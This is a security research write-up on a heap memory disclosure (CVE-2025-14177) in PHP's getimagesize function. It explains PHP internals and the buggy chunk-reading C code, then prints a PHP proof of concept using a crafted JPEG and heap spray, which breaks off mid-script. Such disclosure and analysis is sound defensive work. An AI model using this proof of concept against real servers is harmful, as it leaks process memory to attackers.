PHP is one of the world’s most popular programming languages. The PHP core itself is rarely perceived as an attack surface — attention usually shifts to frameworks and third-party libraries. However, a significant portion of real-world application logic relies on built-in functions from the ext/standard extension, which handles strings, query parameters, data formats, and files. During our research into the C code of this extension, we discovered several memory management bugs. In this article, we take a deep dive into two of them: a heap memory disclosure in getimagesize and a heap buffer overflow in iptcembed.
Key components and their roles
Zend Engine is the open-source C core of PHP, responsible for interpreting and executing PHP code. When checking your PHP version, you will typically see mentions of both Zend Engine and Zend OPcache.
Zend Version
$ ./sapi/cli/php -v
PHP 8.6.0-dev (cli) (built: Dec 11 2025 15:18:13) (NTS DEBUG)
Copyright (c) The PHP Group
Zend Engine v4.6.0-dev, Copyright (c) Zend Technologies
with Zend OPcache v8.6.0-dev, Copyright (c), by Zend Technologies
In simplified terms, Zend Engine consists of the following components:
- Zend VM: the PHP execution subsystem that includes two key components. It acts as the execution “engine,” interpreting instructions, managing the call stack, executing operations (conditions, loops, functions), and calling extension functions. From PHP 8 onwards, Just-In-Time (JIT) compilation offers additional optimization in certain configurations.
- Zend Compiler: converts PHP code into an internal representation understood by the virtual machine. This initial phase utilizes a lexer (tokenization) and a parser (building the syntactic structure), followed by preparation for execution.
- Zend Executor: the opcode executor (the runtime part of the Zend VM). It iterates through op_array, creates and/or updates call frames, manages execute_data, executes built-in and user-defined functions, and switches between opcode handlers. In the source code, this logic resides primarily in zend_execute.c and generated VM handlers.
- Zend Memory Manager: the memory manager for the PHP runtime. It handles memory allocation and deallocation for variables, arrays, and objects, utilizing mechanisms like reference counting and garbage collection. In modern versions, it is highly optimized to reduce overhead.
- Zend API (Zend application programming interface): a set of internal Zend Engine APIs for writing C extensions (modules). It is used to register functions and classes, define data structures and object handlers, work with zvals, and so on. Essentially, it serves as the interface for connecting to the engine to add new capabilities (for example, database drivers).
- Zend Optimizer+ (OPcache): an extension that caches the compilation results of PHP scripts (opcodes within an op_array) in shared memory so that subsequent requests don’t require recompiling the source code. While not strictly part of the core Zend VM interpreter, it usually ships with PHP and is enabled in production environments.
- Zend Garbage Collector+: the cycle-collecting garbage collector in Zend Engine. While PHP’s primary memory management model relies on reference counting, the GC additionally identifies and frees objects and arrays that form circular references and thus cannot be freed by refcount alone.
How it works: from PHP code to execution result
The execution lifecycle of a PHP script within the interpreter can be simplified into three major phases: tokenization → parsing and compilation → execution (see the diagram below).

- Entry via SAPI: execution always begins with the server API (SAPI). This layer connects the PHP engine to the environment—whether it’s a web server (via an Apache module or PHP-FPM using FastCGI) or the Command Line Interface (CLI). The SAPI receives the request or command, initializes execution, configures output, headers, limits, and the environment, and then passes control to the Zend Engine.
- PHP Source Code: the engine receives the script text (from a file or string) as input for compilation or caching, and subsequent execution.
- OPcache (if enabled): this serves as the fast path. Before re-parsing the PHP source code, the Zend Engine checks OPcache. This boosts performance: a precompiled set of opcodes, packed into an op_array, is stored in shared memory, avoiding the need to repeatedly read, parse, and compile the source file on every request.
- Cache hit: the engine immediately retrieves the ready op_array and proceeds to execution.
- Cache miss: tokenization, parsing, and compilation are performed, after which the result is saved to OPcache.
- Tokenizer (lexer): converts the stream of PHP source code characters into a sequence of tokens (keywords, identifiers, literals, and so on). This serves as the “raw material” for syntax analysis.
- Parser: builds the abstract syntax tree (AST). The AST represents the program’s structural tree (expressions, statements, declarations). In modern PHP versions, the AST is a distinct stage that separates syntactic parsing from the generation of executable instructions.
- Zend Compiler: translates the AST into an internal executable representation—the op_array structure. It contains opcodes (Zend VM instructions) and associated data, such as constants and literals. Essentially, it is PHP’s compiled internal representation, technically referred to as an op_array containing opcodes and runtime metadata.
- Zend Executor (part of Zend VM): interprets opcodes and executes the program (branching, function calls, value operations, exception handling, and so on). During execution, the engine calls built-in functions and C-extension functions, and interacts with the OS via files, networks, processes, and other environmental subsystems.
- Memory and garbage collection: during a request, memory is typically allocated via Zend Memory Manager (optimized for request-bound allocations). The Garbage Collector handles circular references: the cycle-finding algorithm doesn’t run continuously but triggers upon reaching specific thresholds (for example, when the root buffer is full).
- JIT (optional; part of OPcache): if JIT is enabled, the execution of “hot” code fragments may partially shift from opcode interpretation to native code. Note: in PHP’s implementation, JIT is part of OPcache and uses an additional shared memory area to store machine code; entry points are linked to the op_array and opcodes.
- Result via SAPI: the execution outcome is returned to the external environment via the SAPI. This could be an HTTP response, console output, as well as errors, exit codes, and other side effects.
Standard extension
Standard extension (php-src/ext/standard) is a foundational PHP extension that provides the majority of out-of-the-box functions. In a typical build, this extension is compiled alongside the interpreter and registers hundreds of procedural APIs: string and array utilities, URL and HTTP helpers, file operations, stream wrappers, and code for parsing specific data formats (for example, processing JPEG metadata using the getimagesize function).
From a security standpoint, this is one of the most sensitive areas. The C code in ext/standard regularly processes uncontrolled input (files, request payloads, parameters) and is invoked by widely used PHP primitives. Consequently, vulnerabilities and bugs here often have a massive blast radius.
Detected issues
Memory disclosure when reading JPEG APP segments in the getimagesize function
💥 Security issue, CVE-2025-14177, moderate, 6,3 out of 10
Description
In November 2025, a bug was discovered in the standard extension: calling the native getimagesize function could return JPEG APP segment data (for example, APP1) trailing with uninitialized heap bytes. We disclosed this to the vendor, and following their deeper analysis, the flaw was classified as a vulnerability and assigned CVE-2025-14177.
Background
The getimagesize function determines the size of a supported image file and returns its dimensions, file type, MIME type, and the height="..." width="..." string that can be used for an HTML IMG tag. Additionally, via the image_info parameter, it can return extended information, such as JPG APP markers. This mechanism is only supported for JFIF files.
Function interface:getimagesize(string $filename, array &$image_info = null): array|false
The core of the issue was that, under certain conditions, the APPn data returned via the $info variable did not match the actual segment content in the file. In practice, two effects were observed:
- Each subsequent chunk was written to the beginning of the buffer; as a result, the first bytes of
$info['APPn']corresponded to the last read chunk. - The tail of the returned string (the portion of the buffer that was never populated) could contain uninitialized bytes—remnants of previous heap data.
This is a classic memory disclosure vulnerability. If an application processes an image and then uses $info['APPn'] for operations with user files, there is a risk of leaking process memory fragments. Importantly, exploiting this vulnerability requires multi-chunk reading. An APP segment (application segment) in the context of images is a specific type of segment in JPEG files containing metadata or auxiliary information:
- EXIF data (shooting parameters, GPS coordinates, and more)
- IPTC information (authorship, keywords)
- Comments
- Creator information (camera, editing software)
A JPEG file consists of multiple segments, starting with the SOI marker 0xFFD8, followed by a sequence of segments.

APP segments (APP0–APP15) are metadata sections with markers 0xFFE0…0xFFEF containing specific data formats (for example, EXIF, XMP). Each APP segment has a 2-byte length field and a payload. In our case, APP1 (0xFFE1) is particularly important, as it typically houses EXIF and XMP data, and processing this segment impacts security during JPEG structure parsing.
The purpose of APP markers in JPEG images is listed in the table below.
| MARKER | HEX | PURPOSE |
|---|---|---|
| APP0 | 0xFFE0 | JFIF / JFXX (thumbnail extension) |
| APP1 | 0xFFE1 | Exif / XMP |
| APP2 | 0xFFE2 | ICC profile / FlashPix extensions (FPXR) |
| APP3 | 0xFFE3 | (not standardized) |
| APP4 | 0xFFE4 | (not standardized) |
| APP5 | 0xFFE5 | (not standardized) |
| APP6 | 0xFFE6 | (not standardized) |
| APP7 | 0xFFE7 | (not standardized) |
| APP8 | 0xFFE8 | SPIFF (Still Picture Interchange File Format) |
| APP9 | 0xFFE9 | (not standardized) |
| APP10 | 0xFFEA | (not standardized) |
| APP11 | 0xFFEB | (not standardized) |
| APP12 | 0xFFEC | Picture Info / Ducky |
| APP13 | 0xFFED | Photoshop Image Resources (8BIM), including IPTC |
| APP14 | 0xFFEE | Adobe |
| APP15 | 0xFFEF | (not standardized) |
Technical details
Root cause: incorrect chunk concatenation in php_read_stream_all_chunks
The issue resided in the php_read_APP function and its helper reading function, php_read_stream_all_chunks (php-src/ext/standard/image.c). The concept behind php_read_APP is straightforward: the length of the APP segment is known, so PHP allocates a buffer of N bytes, reads the payload from the stream into it, and then returns the data in $info['APPn']. The critical flaw lies here: the emalloc function allocates uninitialized memory and returns a pointer to it in the buffer variable. If any bytes are never written to buffer, they will still end up in $info['APPn'] via the add_assoc_stringl function.
Function php_read_stream_all_chunks (php-src/ext/standard/image.c)
static int php_read_APP(php_stream * stream, unsigned int marker, zval *info)
{
size_t length;
char *buffer;
char markername[16];
zval *tmp;
length = php_read2(stream);
if (length < 2) {
return 0;
}
length -= 2; /* length includes itself */
buffer = emalloc(length);
if (php_read_stream_all_chunks(stream, buffer, length) != length) {
efree(buffer);
return 0;
}
snprintf(markername, sizeof(markername), "APP%d", marker - M_APP0);
if ((tmp = zend_hash_str_find(Z_ARRVAL_P(info), markername, strlen(markername))) == NULL) {
/* XXX we only catch the 1st tag of it's kind! */
add_assoc_stringl(info, markername, buffer, length);
}
efree(buffer);
return 1;
}
The bug stemmed from how chunks were concatenated when reading from the stream. In php_read_stream_all_chunks, the read_total counter was incremented, but the php_stream_read macro continuously wrote to the exact same destination address (buffer)—without applying an offset for the already read bytes.
The function php_read_stream_all_chunks (php-src/ext/standard/image.c)
static size_t php_read_stream_all_chunks(php_stream *stream, char *buffer, size_t length)
{
size_t read_total = 0;
do {
ssize_t read_now = php_stream_read(stream, buffer, length - read_total);
read_total += read_now;
if (read_now < stream->chunk_size && read_total != length) {
return 0;
}
} while (read_total < length);
return read_total;
}
Let’s look at an example where length = 9000 and chunk_size = 8192:
- The first
php_stream_readreads 8192 bytes and writes tobuffer[0..8191]. - The second
php_stream_readreads 808 bytes and writes tobuffer[0..807](overwriting the beginning of the buffer). - The range
buffer[8192..8999]is never populated and remains unwritten.

Result: the php_read_APP function considers the read successful and copies length bytes into $info['APPn'], even though the start of the buffer was overwritten by the last chunk, and the tail remains uninitialized, containing garbage data.
From a public issue to a security issue with the subsequent assignment of a CVE identifier
Initially, the problem appeared to manifest only in a rare scenario involving stream filters. However, while fixing it, the vendor discovered a crucial detail: filters were not a strict prerequisite.
This issue was originally not classified as a security issue due to usage of stream filter in recreation of the issue and the fact that only realy image file is supposed to be used. However, after deeper investigation during the fix, it was discovered that this can be exploitable if attacker knows the stream chunk size (which is mostly default) even on normal image. Such attack would be more complex but possible.
The key trigger is predictable chunking. If an attacker knows the read chunk size (which is the default value in many configurations), they could theoretically craft an input JPEG file to achieve this effect even on a standard image. As a result, the bug was reclassified as a vulnerability and a security advisory was issued. The vulnerability was assigned CVE-2025-14177.
Exploitation
During the triage process, we developed two proofs of concept (PoCs). They are presented below in the chronological order of our correspondence with the vendor.
Proof of concept 1. Original report. Reproduction via php://filter – This is the minimal reproduction initially prepared and submitted to the developers. It reads the file via php://filter to force the runtime to read the APP1 segment in multiple chunks. The filter itself is not a prerequisite for the vulnerability; rather, it serves as a convenient method to reliably trigger the bug.
Following the vendor’s feedback and further analysis, it became clear that the issue is not limited to the use of filters. Any scenario where reading occurs in chunks and the attacker can account for the chunk size (which is often the default value) is sufficient. This led to the creation of Proof of concept 2. Post-feedback. Reproduction without filters, web-like scenario. This filterless variant more closely mimics a real-world web scenario (such as uploading and reading from php://input), where multi-chunk reading is achieved by controlling the flow of data fed into the stream.
Proof of concept 1. Original report. Reproduction via php://filter.
This PoC performs the following steps:
- Generates a minimal valid JPEG with a large APP1 segment, ensuring the payload is read across multiple chunks.
- Populates a section of heap memory with a specific marker and then frees it. This allows us to identify a potential memory leak if the marker appears in the output data.
- Reads the file using
php://filterto force multi-chunk reads. - Compares the expected payload against the data returned in
$info['APP1'](specifically looking for the leaked marker at the tail end of the payload).
Below is the initial PHP script used for this:
<?php
// Minimal PoC: corruption/uninitialized memory leak when reading APP1 via php://filter
$file = __DIR__ . '/min.jpg';
// Make APP1 large enough so it is read in multiple chunks
$chunk = 8192;
$tail = 123;
$payload = str_repeat('A', $chunk) . str_repeat('B', $chunk) . str_repeat('X', $tail);
$app1Len = 2 + strlen($payload);
// Minimal JPEG: SOI + APP1 + SOF0(1x1) + EOI
$sof = "\xFF\xC0" . pack('n', 11) . "\x08" . pack('n',1) . pack('n',1) . "\x01\x11\x00";
$jpeg = "\xFF\xD8" . "\xFF\xE1" . pack('n', $app1Len) . $payload . $sof . "\xFF\xD9";
file_put_contents($file, $jpeg);
// Mini heap-spray: fill heap with a marker and free it, so the C buffer
// can reuse those areas and return marker remnants in $info['APP1']
$marker = 'LEAK-MARKER-123!';
$spr = substr(str_repeat($marker, intdiv(strlen($payload) + strlen($marker) - 1, strlen($marker))), 0, strlen($payload));
$spray = [];
for ($i = 0; $i < 512; $i++) {
$x = $spr; $x[0] = chr($i & 0x7F); // Copy on write -> distinct allocations
$spray[$i] = $x;
}
unset($spray, $x);
gc_collect_cycles();
// Read through a filter to enforce multiple reads
$src = 'php://filter/read=string.rot13|string.rot13/resource=' . $file;
$info = null;
if (!@getimagesize($src, $info) || !isset($info['APP1'])) {
echo "Error: failed to obtain APP1 from getimagesize().\n";
exit(1);
}
$exp = $payload;
$ret = $info['APP1'];
// Human-readable output
$lenExp = strlen($exp);
$lenRet = strlen($ret);
echo "APP1 length: expected=$lenExp, actual=$lenRet\n";
echo "Expected APP1 head (HEX): ", bin2hex(substr($exp, 0,